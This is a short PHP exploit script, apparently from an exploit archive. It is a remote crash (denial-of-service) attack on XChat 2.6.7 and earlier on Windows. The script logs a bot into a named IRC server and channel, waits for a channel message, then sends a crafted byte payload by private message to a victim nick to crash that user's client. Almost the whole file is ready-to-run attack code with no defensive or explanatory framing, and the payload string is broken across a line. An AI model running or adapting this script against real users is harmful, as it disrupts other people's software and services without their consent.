<?php

// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy

// Tested on Windows SP1/SP2

// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2

//Stop the script timing out

set_time_limit(0);

//Set constants

define("SERVER", 'irc.enigmagroup.org');

define("PORT", 6667);

define("CHANNEL", "#enigmagroup"); //Set the channel the bot will join here

define("NICK", "ratbot"); //Set the bot's nick here

define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF
1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82");

define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket

$fp = socket_connect($socket, SERVER, PORT); // Connect to the server

socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username to the server

socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname

socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel

while($data = @socket_read($socket,2046)) { //read the data

echo $data;

$cmd = explode(" ", $data);

if (strpos($data, "PING :")===0) {

socket_write($socket, "PONG :".substr($data, 6)."\r\n");

continue;

}

if($cmd[1] == "PRIVMSG"){ // Send the exploit right when the channel gets a message then stop the bot

socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."\r\n");

socket_close($socket);

}

}

?>

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